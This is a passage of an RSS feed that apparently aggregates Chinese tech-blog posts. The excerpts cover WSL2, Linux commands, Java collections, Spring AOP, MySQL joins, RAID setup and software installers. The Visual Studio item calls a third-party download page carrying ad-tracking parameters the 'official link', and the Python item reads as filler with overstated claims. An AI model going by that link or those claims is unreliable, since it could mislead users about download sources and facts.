Server&#xA;当然，微软作为一个商业公司，此举还是为了吸引更多的用户使用Windows&#xA;3. 为要选择WSL2作为开发环境 3.1 WSL与WSL2有什么区别 从上面的比较表中可以看出，WSL2架构在几个方面优于WSL1，并且WSL2拥有完整的Linux内核。对于跨OS文件系统的性能，微软也给出了解决办法：可通过将项目文件存储在与处理项目时运行的工具相同的操作系统上进行处理 3.2 Windows与Linux系统的抉择 日常生活办公需要Windows，开发工作需要Linux，对于两者都有需求的人来讲，都不可避免的要来回切换不同的操作系统。虽然，部分人可以在一些Linux发行版上满足日常生活办公的需求，但是，不可否认Windows拥有更加强大的生态和便捷性，更重要的是大家都是合作办公，需要交互。针对双系统的需求，有几种不同的解决方案，各有利弊&#xA;解决方案利弊双主机分别安装Windows与Linux独立运行、物理隔离成本高、不同系统数据传输不便单主机双系统真实操作系统使用麻烦，需要重启切换搭建远程服务器真实操作系统成本高、可能受到性能、带宽的限制Linux系统虚拟机使用与真实操作系统基本无差异占用资源、运行效率低WSL2使用便捷、无缝切换、不会产生传统虚拟机或双启动设置开销系统功能可能不完整、无法支持某些软件 对于Windows与Linux系统都有需求的人来说，WSL2是一个非常棒的解决方案，既能满足我们在日常生活办公中使用Windows，又能在开发工作中方便快捷的使用Linux&#xA;但是，WSL2毕竟是Windows下的Linux子系统，其运行稳定性的上限还是取决于其宿主Windows系统。若是追求高安全性与稳定性的专用服务器、工作站等，还是直接安装Linux系统</description>
    </item>
    <item>
      <title>查看Linux系统版本信息</title>
      <link>https://bchobby.github.io/posts/cf0ee3f0495a3eabf434f9c57964a338/</link>
      <pubDate>Fri, 23 Sep 2022 15:16:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf0ee3f0495a3eabf434f9c57964a338/</guid>
      <description> 查看Linux系统版本信息 查看linux系统内核版本 命令：cat /proc/version 查询示例结果：&#xA;Linux version 3.10.0-234.el7.x86_64 (sss@kojibuilder-ve) (gcc version 4.8.5 20051234 (NeoKylin 4.8.5-36) (GCC) ) #1 SMP Fri Jan 11 17:34:50 CST 2001 命令：uname -a 查询示例结果：&#xA;Linux iZpt8760b0nry1zz1o0aarZ 3.10.0-957.el7.x86_64 #1 SMP Fri Jan 11 10:34:20 CST 2000x86_64 x86_64 x86_64 GNU/Linux 查看linux系统发行版本 命令：cat /etc/redhat-release 查询示例结果：&#xA;Red Hat Enterprise Linux Server release 7.6 (Maipo) 命令：cat /etc/.productinfo 查询示例结果：&#xA;NeoKylin Linux Advanced Server release V7Update6/(Chromium)-X86_64 b4.lic/20190820 </description>
    </item>
    <item>
      <title>集合_HashTable与HashMap</title>
      <link>https://bchobby.github.io/posts/e714130b0582f56eb224f2ddda016a7f/</link>
      <pubDate>Fri, 23 Sep 2022 14:27:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e714130b0582f56eb224f2ddda016a7f/</guid>
      <description>HashTable出现于1.0版本 HashMap出现于1.2版本 HashTable是线程安全的（synchronized锁） HashMap是线程不安全的 因HashTable中存在synchronized锁 故其效率较之HashMap低 HashTable使用头插法 HashMap自1.8版本以后使用尾插法 原因是在并发情况下 若没有进行线程同步 头插法有很小的概率会导致死循环 HashTable存放的也是k-v键值对 但是均不能为null 否则会抛出NullPointerException HashTable中的table数组存放的数据类型为HashTable.Entry 默认容量为11 默认临界值为11*0.75=8 HashMap中的table数组存放的数据类型为HashMap.Node 默认容量为16 默认临界值为16*0.75=12 HashTable扩容机制简述： 1.int newCapacity = (oldCapacity &amp;lt;&amp;lt; 1) + 1 2.若newCapacity - MAX_ARRAY_SIZE &amp;gt; 0 则进行判断： 1.若oldCapacity == MAX_ARRAY_SIZE 则return oldCapacity 2.否则newCapacity = MAX_ARRAY_SIZE 3.以newCapacity进行扩容 HashTable扩容机制部分代码： protected void rehash() { int oldCapacity = table.length; Entry&amp;lt;?,?&amp;gt;[] oldMap = table; // overflow-conscious code int newCapacity = (oldCapacity &amp;lt;&amp;lt; 1) + 1; if (newCapacity - MAX_ARRAY_SIZE &amp;gt; 0) { if (oldCapacity == MAX_ARRAY_SIZE) // Keep running with MAX_ARRAY_SIZE buckets return; newCapacity = MAX_ARRAY_SIZE; } Entry&amp;lt;?</description>
    </item>
    <item>
      <title>SpringBoot实现AOP日志功能（自定义注解的使用）</title>
      <link>https://bchobby.github.io/posts/727251ec1ccb25047717b799be81e682/</link>
      <pubDate>Fri, 23 Sep 2022 13:41:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/727251ec1ccb25047717b799be81e682/</guid>
      <description>什么是AOP？ AOP(Aspect-Oriented Programming:面向切面编程)：是指将那些与业务无关，却被多个业务模块所共同调用逻辑或责任（例如事务处理、日志管理、权限控制等）封装起来，便于减少系统的重复代码，降低模块间的耦合度，提升系统的可维护性。&#xA;AOP的作用 AOP 采取横向抽取机制（动态代理），取代了传统纵向继承机制的重复性代码，其应用主要体现在事务处理、日志管理、权限控制、异常处理等方面。&#xA;主要作用是分离功能性需求和非功能性需求，使开发人员可以集中处理某一个关注点或者横切逻辑，减少对业务代码的侵入，增强代码的可读性和可维护性。&#xA;简单的说，AOP 的作用就是保证开发者在不修改源代码的前提下，为系统中的业务组件添加某种通用功能。&#xA;AOP的应用场景 比如典型的AOP的应用场景：&#xA;日志记录事务管理权限验证性能监测 AOP可以拦截指定的方法，并且对方法增强，比如：事务、日志、权限、性能监测等增强，而且无需侵入到业务代码中，使业务与非业务处理逻辑分离。&#xA;步骤 详细配置请看&#xA;Spring-AOP的实现Spring-AOP的原理 1,导入maven配置 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-aop&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;fastjson&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2.66&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 复制代码 2,配置一个自定义注解 package com.example.aop.config; import java.lang.annotation.*; /** * @Program: aop * @ClassName SysAnnotation * @Description: 自定义系统操作注解 * @Author: liutao * @DateTime: 2022/6/5 2:32 * @Version: 1.0 */ @Target(ElementType.METHOD) @Retention(RetentionPolicy.RUNTIME) @Documented public @interface SysAnnotation { String operMoudle() default &#34;&#34;;//操作模块 String operMethod() default &#34;&#34;;//操作方法 String operDes() default &#34;</description>
    </item>
    <item>
      <title>JS正则表达式过滤以指定字符开头以指定字符结尾的文本内容</title>
      <link>https://bchobby.github.io/posts/48e9645196b6ffe3b18bcd3a523da668/</link>
      <pubDate>Fri, 23 Sep 2022 11:21:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48e9645196b6ffe3b18bcd3a523da668/</guid>
      <description>var regExp=/@.*?:/g;&#xA;var str=‘@游客11:12312312@游客11:12312312@游客11:12312312@游客11:12312312@游客11:12312312’;&#xA;str=str.replace(regExp,“”)&#xA;console.log(str)</description>
    </item>
    <item>
      <title>利用 Python 制作地图</title>
      <link>https://bchobby.github.io/posts/8e6974eaf0ac2289213fa376b9e5963f/</link>
      <pubDate>Fri, 23 Sep 2022 11:12:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e6974eaf0ac2289213fa376b9e5963f/</guid>
      <description>提示：文章内容以案例为主&#xA;目录&#xA;一、基础地图制作&#xA;二、国内疫情地图&#xA;总结&#xA;前言&#xA;主要介绍一下如何利用python制作地图效果&#xA;提示：以下是本篇文章正文内容，下面案例可供参考&#xA;一、基础地图制作 代码&#xA;from pyecharts.charts import Map # 准备地图对象 map = Map() # 准备数据 data = [ (&#34;北京&#34;, 99), (&#34;上海&#34;, 199), (&#34;湖南&#34;, 299), (&#34;台湾&#34;, 399), (&#34;内蒙古&#34;, 499) ] # 添加数据 map.add(&#34;测试地图&#34;, data, &#34;china&#34;) map.render() 目录会产生如下效果&#xA;效果图（点击html文件用浏览器查看）&#xA;二、国内疫情地图 准备工作：需要准备一个国内疫情数据文本放到D盘然后进行&#xA;import json from pyecharts.charts import Map from pyecharts.options import * # 读取数据文件 f = open(&#34;D:/疫情.txt&#34;, &#34;r&#34;, encoding=&#34;UTF&#34;) data = f.read() # 全部数据 # 关闭文件 f.</description>
    </item>
    <item>
      <title>什么是电压跟随器 ？</title>
      <link>https://bchobby.github.io/posts/d909c18147993cf4805d32ac443cb043/</link>
      <pubDate>Thu, 22 Sep 2022 22:59:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d909c18147993cf4805d32ac443cb043/</guid>
      <description>输出电压直接接到反相输入端，反相输入端不再接地就形成电压跟随器。&#xA;如图所示：&#xA;电路引进了电压串联负反馈，且反馈系数是1。&#xA;得到输出电压Uo和输入电压Ui的关系为：Uo=Ui&#xA;严谨的来讲，这里输入与输出应该是无限接近。理想情况是输入等于输出。&#xA;这里无论输入的Ui是交流信号还是直流信号都是如此。&#xA;此时的电压跟随器的作用有以下几个作用：&#xA;1.可以用于前后级的隔离（模数或者是数模的隔离）。&#xA;2.输入阻抗高而输出阻抗小，从而带负载能力变强，具有更强的驱动能力。&#xA;3.匹配前后级的阻抗。&#xA;一般的电压跟随器的作用就这三点&#xA;电压跟随器就是特殊的运算放大器，他就是由基本的运算放大器构造而成的。&#xA;这就是典型的运算放大器&#xA;当R1为无穷大的时候，此时RF/R1逐渐趋近于0，所以AU=1+0=1,所以VIN=VOUT&#xA;由于R1为无穷大，所以可以视为电阻开路。故舍去R1。&#xA;此时就是特殊的运算放大器了 。&#xA;需要注意的是电阻RF是起保护的作用，阻值一般不大就1K左右都行。&#xA;另外一般电压跟随器的后级都是接运算放大器对信号进行放大&#xA;此时的电压跟随器就是起到隔离信号的作用。</description>
    </item>
    <item>
      <title>linux网卡软中断绑定</title>
      <link>https://bchobby.github.io/posts/b8f6048456080321bdb04552599de4fc/</link>
      <pubDate>Thu, 22 Sep 2022 17:12:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8f6048456080321bdb04552599de4fc/</guid>
      <description>首先关闭irqbalance服务，用cat /sys/class/net/&amp;lt;网口名&amp;gt;/device/numa_node查询网卡归属于哪个numa节点，&#xA;然后用lscpu命令查询该numa节点对应哪些CPU core，&#xA;用cat /proc/interrupts | grep &amp;lt;网口名&amp;gt; | awk -F ‘:’ &#39;{print $1}&#39;查询网卡中断号，&#xA;将软中断绑定到该numa节点对应的core上，即echo &amp;lt;core编号&amp;gt; &amp;gt; /proc/irq/&amp;lt;中断号&amp;gt;/smp_affinity_list。&#xA;echo &amp;lt;core编号&amp;gt; &amp;gt; /proc/irq/&amp;lt;中断号&amp;gt;/smp_affinity_list&#xA;cat /proc/interrupts | grep &amp;lt;网口名&amp;gt; | awk -F ‘:’ ‘{print $1}’&#xA;for i ps -ef|grep rgw | grep -v grep | awk &#39;{print $2}&#39;; do echo &amp;lt;core编号&amp;gt; &amp;gt; /proc/irq/&amp;lt;中断&amp;gt;/smp_affinity_list ;done</description>
    </item>
    <item>
      <title>【git忽略提交指定文件】</title>
      <link>https://bchobby.github.io/posts/e4624492b6b6446ed598d3f786745097/</link>
      <pubDate>Thu, 22 Sep 2022 16:56:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4624492b6b6446ed598d3f786745097/</guid>
      <description>在工作中，我们的package.json里的依赖版本可能和同事的不一致，为避免产生一些冲突，我们提交代码的时候，可以选择不提交package.json文件。以下分为两种情况对文件进行忽略提交：&#xA;一、未提交过的文件 从未提交过的文件，可以在.gitignore文件内添加想要忽略的文件。&#xA;# See https://help.github.com/articles/ignoring-files/ for more about ignoring files. # dependencies node_modules/ /.pnp .pnp.js # testing /coverage # production /build /deploy 二、已被推送过的文件 已经推送（push）过的文件，在.gitignore文件内添加是无效的。可以使用以下命令进行强制忽略。&#xA;git update-index --assume-unchanged 文件路径 取消强制忽略：&#xA;git update-index --no-assume-unchanged 文件路径</description>
    </item>
    <item>
      <title>MySql 关联查询时 on条件过滤和where条件过滤的区别</title>
      <link>https://bchobby.github.io/posts/690dc4ebf4d3e4135b3868a0a1fff644/</link>
      <pubDate>Thu, 22 Sep 2022 11:17:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/690dc4ebf4d3e4135b3868a0a1fff644/</guid>
      <description>在学习mysql的连接查询时容易忽略的细节，当左连接时就以左表为主，有连接就以由表为主，但是过滤条件为on和where时时常被我们忽略。&#xA;首先建两张表并导入数据：&#xA;-- ---------------------------- -- Table structure for sys_dept -- ---------------------------- DROP TABLE IF EXISTS `sys_dept`; CREATE TABLE `sys_dept` ( `dept_id` int(11) NOT NULL AUTO_INCREMENT COMMENT &#39;主键id，自增&#39;, `dept_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT &#39;部门名称&#39;, PRIMARY KEY (`dept_id`) USING BTREE ) ENGINE = InnoDB AUTO_INCREMENT = 5 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Dynamic; -- ---------------------------- -- Records of sys_dept -- ---------------------------- INSERT INTO `sys_dept` VALUES (1, &#39;研发部&#39;); INSERT INTO `sys_dept` VALUES (2, &#39;测试部&#39;); INSERT INTO `sys_dept` VALUES (3, &#39;财务部&#39;); INSERT INTO `sys_dept` VALUES (4, &#39;人事部&#39;); -- ---------------------------- -- Table structure for sys_user -- ---------------------------- DROP TABLE IF EXISTS `sys_user`; CREATE TABLE `sys_user` ( `user_id` int(11) NOT NULL AUTO_INCREMENT COMMENT &#39;主键id，自增&#39;, `user_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT &#39;用户名&#39;, `dept_id` int(11) NULL DEFAULT NULL COMMENT &#39;部门id&#39;, `is_disable` int(11) NULL DEFAULT NULL COMMENT &#39;是否禁用：1-启用，0-禁用&#39;, PRIMARY KEY (`user_id`) USING BTREE ) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Dynamic; -- ---------------------------- -- Records of sys_user -- ---------------------------- INSERT INTO `sys_user` VALUES (1, &#39;张三&#39;, 1, 0); INSERT INTO `sys_user` VALUES (2, &#39;李四&#39;, 4, 1); INSERT INTO `sys_user` VALUES (3, &#39;王五&#39;, 1, 1); INSERT INTO `sys_user` VALUES (4, &#39;赵六&#39;, 3, 1); INSERT INTO `sys_user` VALUES (5, &#39;田七&#39;, 2, 1); INSERT INTO `sys_user` VALUES (6, &#39;刘八&#39;, 4, 0); SET FOREIGN_KEY_CHECKS = 1; 一共两张表，用户表和部门表，用户表中的dept_id和部门表的dept_id关联，下面的对两表进行关联查询，查出用户名和用户对应的部门名称，分别采用 where 和 on 进行条件过滤。</description>
    </item>
    <item>
      <title>Anaconda3 下载安装及不同python环境配置（Linux/Windows）</title>
      <link>https://bchobby.github.io/posts/d42670fcc2f8ef09f1bf9f065031b1d8/</link>
      <pubDate>Thu, 22 Sep 2022 10:47:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d42670fcc2f8ef09f1bf9f065031b1d8/</guid>
      <description>Anaconda3 下载安装及不同python环境配置（Linux/Windows） 一、Anaconda3安装WindowsLinux(以ubuntu18.04为例) 二、配置虚拟环境 一、Anaconda3安装 Windows 1、下载&#xA;直接在官网下载即可：https://www.anaconda.com/download/&#xA;2、正常安装，路径最好不要出现中文、空格，下图选择All Users，path可以直接勾选，也可自行配置，一般勾选上即可&#xA;3、安装完后输入conda --version显示版本号即为安装成功&#xA;Linux(以ubuntu18.04为例) 1、下载安装包&#xA;除上述官网下载外还可以从清华镜像下载（速度更快）&#xA;下载地址&#xA;2、安装&#xA;将安装包放在自己想要安装的目录下，打开终端运行如下命令&#xA;# 中间版本号根据自己的下载进行替换 bash Anaconda3-2022.5-Linux-x86_64.sh 3、一路回车直到要输入yes，输入后再回车选择安装位置（自己手动输入，默认在/home/xxx/anaconda3）&#xA;3、安装完后重新打开一个新的终端，输入conda --version显示版本号即为安装成功&#xA;二、配置虚拟环境 Anaconda自带有一个默认的python环境，也可自行配制不同版本或者不同位数（32位或64位）的python环境，不需要额外在安装python，下面进行详细介绍&#xA;1、为加快下载速度，切换为清华镜像&#xA;①TUNA 提供了 Anaconda 仓库与第三方源（conda-forge、msys2、pytorch等，查看完整列表）的镜像，各系统都可以通过修改用户目录下的 .condarc 文件。Windows 用户无法直接创建名为 .condarc 的文件，可先执行 conda config --set show_channel_urls yes 生成该文件之后再修改。linux执行sudo gedit ./.condarc命令&#xA;注：由于更新过快难以同步，我们不同步pytorch-nightly，ignite-nightly，pytorch-nightly-cpu这三个包。用下面代码替换.condarc文件中的内容&#xA;channels: - defaults show_channel_urls: true default_channels: - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/r - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/msys2 custom_channels: conda-forge: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud msys2: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud bioconda: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud menpo: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud pytorch: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud simpleitk: https://mirrors.</description>
    </item>
    <item>
      <title>Ubuntu使用mdadm工具创建RAID 0</title>
      <link>https://bchobby.github.io/posts/d30781af4c09ad4f12a2175b809cff6b/</link>
      <pubDate>Thu, 22 Sep 2022 01:54:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d30781af4c09ad4f12a2175b809cff6b/</guid>
      <description>目录 Ubuntu使用mdadm工具创建RAID 01. RAID 0 简介2. Ubuntu下mdadm工具安装3. 创建Raid1）查看系统磁盘2）创建RAID3）查看创建结果4）格式化RAID5）挂载RAID6）开机自动挂载RAID 4. 保存RAID信息到配置文件4. 磁盘损坏替换5. 数据恢复6. Raid磁盘迁移（从旧主机迁移到新主机）7. 删除Raid Ubuntu使用mdadm工具创建RAID 0 1. RAID 0 简介 创建RAID 0 至少需要两块以上的硬盘，它将两块以上的硬盘合并成一块，数据连续地分割在每块盘上。 因为带宽加倍，所以读/写速度加倍， 但RAID 0在提高性能的同时，并没有提供数据保护功能，只要任何一块硬盘损坏就会丢失所有数据。因此RAID 0 不可应用于需要数据高可用性的关键领域，只适用于需要提高磁盘读写性能的领域。&#xA;2. Ubuntu下mdadm工具安装 Linux下创建软RAID需要依赖工具mdadm，部分Ubuntu发行版系统默认没有自带mdadm工具，需要自行安装。&#xA;安装命令如下：&#xA;sudo apt install mdadm 3. 创建Raid 1）查看系统磁盘 创建前可以通过如下命令查看可用的磁盘：&#xA;sudo lsblk 运行结果（下面结果中的sdb和sdc两个磁盘是我们准备创建RAID 0的两块盘）：&#xA;NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT sda 8:0 0 60G 0 disk ├─sda1 8:1 0 512M 0 part /boot/efi ├─sda2 8:2 0 1K 0 part └─sda5 8:5 0 59.</description>
    </item>
    <item>
      <title>python语言属于哪一种语言,python语言特点是什么</title>
      <link>https://bchobby.github.io/posts/4c4b1d22d9933b5a080e4878258a6bbf/</link>
      <pubDate>Thu, 22 Sep 2022 01:29:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c4b1d22d9933b5a080e4878258a6bbf/</guid>
      <description>python语言是什么？ Python是一种计算机程序设计语言，你可能已经听说过很多流行的编程语言，比如非常难学的C语言，非常流行的Java语言，适合初学者的Basic语言，适合网页编程的JavaScript等，Python就是其中之一。&#xA;相对于其他编程语言，Python具有自己独特的优势，它可以用极少的代码完成任务。&#xA;比如完成同一个任务，C语言要写1000行代码，Java需要100行，而Python可能只需要20行，所以说Python是一门非常高级的编程语言。&#xA;谷歌人工智能写作项目：小发猫&#xA;什么是Python编程语言 优点：Python是一种代表简单主义思想的语言，阅读一个良好的Python程序就感觉像是在读英语一样，使你能够专注于解决问题而不是去搞明白语言本身;Python底层是用C语言编写的，很多标准库和第三方库也都是用C写的，运行速度非常快;IPython Notebook使我们更容易使用Python进行数据工作，可以轻松地与同时共享Notebook，无需他们安装任何东西，大大减少组织代码，输出和注释文件的开销;Python是一种通用语言，容易和直观，在学习上会比较容易，可以加快你写一个程序的快速，此外Python测试框架是一个内置的，可以保证你的代码是可重复使用和可靠的;Python还是一个多用途语言，把不同背景的人结合在一起，作为一种常见的、容易理解，大部分程序员都懂，可以很容易地和统计学家沟通，你可以使用一个简单的工具就把你每一个工作伙伴整合起来学python需要什么基础知识。&#xA;由于它的开源本质，Python已经被移植在许多平台上，比如说：Linux、Windows、FreeBSD、Macintosh、Solaris、OS/2、Amiga、AROS等。&#xA;很多时候不能将程序连写成一行，如import sys;for i in :print i，而perl和awk就无此限制，可以较为方便的在shell下完成简单程序，不需要如Python一样，必须将程序写入一个.py文件;Python语法独特，也许不应该被称为局限，但是它用缩进来区分语句关系的方式还是给很多初学者带来了困惑，即便是很有经验的Python程序员，也可能陷入陷阱;Python对比C、C++语言运行速度要慢一些。&#xA;python属于什么语言？ python属于解释型语言。Python提供了高效的高级数据结构，还能简单有效地面向对象编程。具有解释型语言的本质。&#xA;在计算机内部，Python解释器把源代码转换成称为字节码的中间形式，然后再把它翻译成计算机使用的机器语言并运行。这使得使用Python更加简单。也使得Python程序更加易于移植。&#xA;Python特点Python标准库很庞大。&#xA;它可以帮助处理各种工作，包括正则表达式、文档生成、单元测试、线程、数据库、网页浏览器、CGI、FTP、电子邮件、XML、XML-RPC、HTML、WAV文件、密码系统、GUI（图形用户界面）、Tk和其他与系统有关的操作。&#xA;这被称作Python的“功能齐全”理念。除了标准库以外，还有许多其他高质量的库，如wxPython、Twisted和Python图像库等等。&#xA;python语言属于什么语言 Python是一种跨平台的计算机程序设计语言。是一种面向对象的动态类型语言，最初被设计用于编写自动化脚本(shell)，随着版本的不断更新和语言新功能的添加，越来越多被用于独立的、大型项目的开发。&#xA;Python还是一门解释型的编程语言，Python也是面向对象的编程语言。对比其他编程语言来说，Python入门要简单很多，更接近自然语言和正常思维方法，可以直接应用到工作中。&#xA;同时当我们学习Python的时候非常容易上手，要比其他语言简单很多，几乎可以说是无所不能。&#xA;Python语言风格简介：Python在设计上坚持了清晰划一的风格，这使得Python成为一门易读、易维护，并且被大量用户所欢迎的、用途广泛的语言。对于一个特定的问题，只要有一种最好的方法来解决就好。&#xA;这在由Tim Peters写的Python格言里面表述为：There should be one-- and preferably only one --obvious way to do it. 这正好和Perl语言的中心思想TMTOWTDI完全相反。&#xA;Python的作者有意的设计限制性很强的语法，使得不好的编程习惯都不能通过编译。其中很重要的一项就是Python的缩进规则。&#xA;python是什么语言 python的中文名称是蟒蛇。Python是一种计算机程序设计语言。&#xA;是一种动态的、面向对象的脚本语言，最初是用来编写自动化脚本的，随着版本的不断更新和语言新功能的添加，越来越多被用于独立的、大型项目的开发。&#xA;Python特点主要有以下几个方面：1、简单：Python是一种代表简单主义思想的语言。阅读一个良好的Python程序就感觉像是在读英语一样。它使你能够专注于解决问题而不是去搞明白语言本身。&#xA;2、易学：Python极其容易上手，因为Python有极其简单的说明文档。3、速度快：Python 的底层是用 C 语言写的，很多标准库和第三方库也都是用 C 写的，运行速度非常快。&#xA;4、免费、开源：Python是FLOSS之一。使用者可以自由地发布这个软件的拷贝、阅读它的源代码、对它做改动、把它的一部分用于新的自由软件中。FLOSS是基于一个团体分享知识的概念。&#xA;5、高层语言：用Python语言编写程序的时候无需考虑诸如如何管理你的程序使用的内存一类的底层细节。6、可移植性：由于它的开源本质，Python已经被移植在许多平台上。&#xA;这些平台包括Linux、Windows、FreeBSD、Macintosh、Solaris、OS/2、Amiga、AROS、AS/400、BeOS、OS/390、z/OS、Palm OS、QNX、VMS、Psion、以及Google等基于linux开发的android平台。&#xA;7、解释性：一个用编译性语言比如C或C++写的程序可以从源文件转换到一个你的计算机使用的语言。这个过程通过编译器和不同的标记、选项完成。&#xA;扩展资料：Python语言风格简介：Python在设计上坚持了清晰划一的风格，这使得Python成为一门易读、易维护，并且被大量用户所欢迎的、用途广泛的语言。&#xA;对于一个特定的问题，只要有一种最好的方法来解决就好。&#xA;这在由Tim Peters写的Python格言里面表述为：There should be one-- and preferably only one --obvious way to do it.</description>
    </item>
    <item>
      <title>C语言之开发工具：Visual Studio 2022安装教程</title>
      <link>https://bchobby.github.io/posts/a920704ec30672b012b50c2bbe9cda7d/</link>
      <pubDate>Wed, 21 Sep 2022 22:15:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a920704ec30672b012b50c2bbe9cda7d/</guid>
      <description>一，C 语言&#xA;C 语言是一种通用的高级语言，最初是由丹尼斯·里奇在贝尔实验室为开发 UNIX 操作系统而设计的。C 语言最开始是于 1972 年在 DEC PDP-11 计算机上被首次实现。在 1978 年，布莱恩·柯林汉（Brian Kernighan）和丹尼斯·里奇（Dennis Ritchie）制作了 C 的第一个公开可用的描述，现在被称为 K&amp;amp;R 标准。UNIX 操作系统，C编译器，和几乎所有的 UNIX 应用程序都是用 C 语言编写的。由于各种原因，C 语言现在已经成为一种广泛使用的专业语言。&#xA;二，软件介绍：&#xA;现在学习C语言编程软件有以下几种：&#xA;1.VC++ 6.0 是比较古老的C语言学习工具。现在的大学计算机二级等级考试依然用的是这个软件，它支持是编译标准是C98。&#xA;2.Code:Blocks 它是一个开放源码的全功能的跨平台C/C++集成开发环境，具有灵活而强大的配置功能，除支持自身的工程文件、C/C++文件外，还支持AngelScript、批处理、CSS文件、D语言文件、Diff/Patch文件、Fortan77文件等等。&#xA;3.Dev-C++ 它是一个Windows环境下C/C++的集成开发环境(IDE)，它是一款自由软件，遵守GPL许可协议分发源代码。使用MingW64/TDM-GCC编译器，遵循C++ 11标准，同时兼容C++98标准。开发环境包括多页面窗口、工程编辑器以及调试器等，在工程编辑器中集合了编辑器、编译器、连接程序和执行程序，提供高亮度语法显示的，以减少编辑错误，还有完善的调试功能，适合初学者与编程高手的不同需求&#xA;4.Visual Studio 是一个基本完整的开发工具集，它包括了整个软件生命周期中所需要的大部分工具，如UML工具、代码管控工具、集成开发环境(IDE)等等。所写的目标代码适用于微软支持的所有平台，包括Microsoft Windows、Windows Mobile、Windows CE、.NET Framework、.NET Compact Framework和Microsoft Silverlight 及Windows Phone。Visual Studio是目前最流行的Windows平台应用程序的集成开发环境。&#xA;5.C-Free 它是一款C/C++集成开发环境（IDE）。C-Free中集成了C/C++代码解析器，能够实时解析代码，并且在编写的过程中给出智能的提示。C-Free提供了对目前业界主流C/C++编译器的支持，完善的工程/工程组管理使你能够方便的管理自己的代码。简单灵活，具有良好的系统兼容性，不用担心在你的系统里面安装不了，同时它的提示功能也不错。&#xA;我自己学习C语言是使用Microsoft Visual Studio。&#xA;Microsoft Visual Studio(简称VS）是开发工具包系列产品。VS是一个基本完整的开发工具集，它包括了整个软件生命周期中所需要的大部分工具，如UML工具、代码管控工具、集成开发环境(IDE)等等。所写的目标代码适用于微软支持的所有平台。&#xA;三，软件安装&#xA;1.官网链接：https://soft.qmshengekj.cn/visual/index.html?source=360x&amp;amp;unitid=2733696884&amp;amp;unit=visual&amp;amp;e_creative=11995673794&#xA;需要注意的是，VS官网提供了三种版本，但是除了Community 2022（社区版）免费，其余两个版本不是免费的，对于我们学习C语言来说，只用到社区版就可以了。&#xA;1，选中安装包，以管理员身份运行&#xA;2，点击继续&#xA;3，等待下载 VS Installer&#xA;4，主安装界面，选择自己想要选择的选项，如果只是学习C语言的话，只需要勾选[使用C++的桌面开发]，我这里选择两个选项。&#xA;安装位置默认不变（注意，如果自己的C盘控制不足，建议安装在其他磁盘）&#xA;5，点击 安装（由于安装包太大，建议网速好的地方下载）开始漫长等待</description>
    </item>
    <item>
      <title>Quartus Prime以及Questa-Intel FPGA Edition的配置教程（Windows）</title>
      <link>https://bchobby.github.io/posts/34301f0b50513e81191335e51edeb7a5/</link>
      <pubDate>Wed, 21 Sep 2022 19:20:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34301f0b50513e81191335e51edeb7a5/</guid>
      <description>学习逻辑代数用到了Quartus II的9.0，软件比较旧，安装在xp虚拟机里。由于屏幕字体偏小，而且无法调节DPI，然后尝试在主机安装新版的Quartus Prime Lite Edition。&#xA;本人是新手，如有错误请指出，本文主要使用Quartus (Quartus Prime 21.1) Lite Edition，每个版本都会有所不同&#xA;一、安装Quartus Prime 1.三种Quartus Prime的区别和选择 Quartus Prime的区别&#xA;可以看到除了精简版都要收费所以选择精简版（Lite Edition），所以以Quartus Prime Lite Edition为例。&#xA;2.下载Quartus Prime Lite Edition 点击下载Windows版，或点击链接进入下载&#xA;① 点击左边的Intel® Quartus® Prime Design Software&#xA;② 点击下方的Intel® Quartus® Prime Lite Edition&#xA;③ 点击Intel® Quartus® Prime Lite Edition Design Software Version 21.1.1 for Windows&#xA;④ 进入如图所示的页面&#xA;⑤ 选择下载内容&#xA;Multiple Download：&#xA;Individual Files：&#xA;各种东西所需的储存空间&#xA;可以看到，主要有Multiple Download和Individual Files两种方式。前者可以理解为下载所有文件（包含了Individual Files的所有东西，懒得选择的可以选这个），后者为单文件的方式下载，可以选择下载哪些器件（Devices）。&#xA;我的建议是选择Multiple Download，之后安装Questa-Intel FPGA Edition会更方便，而且安装时也可以选择安装哪些器件。当然，如果电脑的储存空间不是特别多，也可以选择Individual Files。</description>
    </item>
    <item>
      <title>Mysql 列传行</title>
      <link>https://bchobby.github.io/posts/5b50ce06460f5a85e770913d525a6d11/</link>
      <pubDate>Wed, 21 Sep 2022 17:29:28 +0800</pubDate>
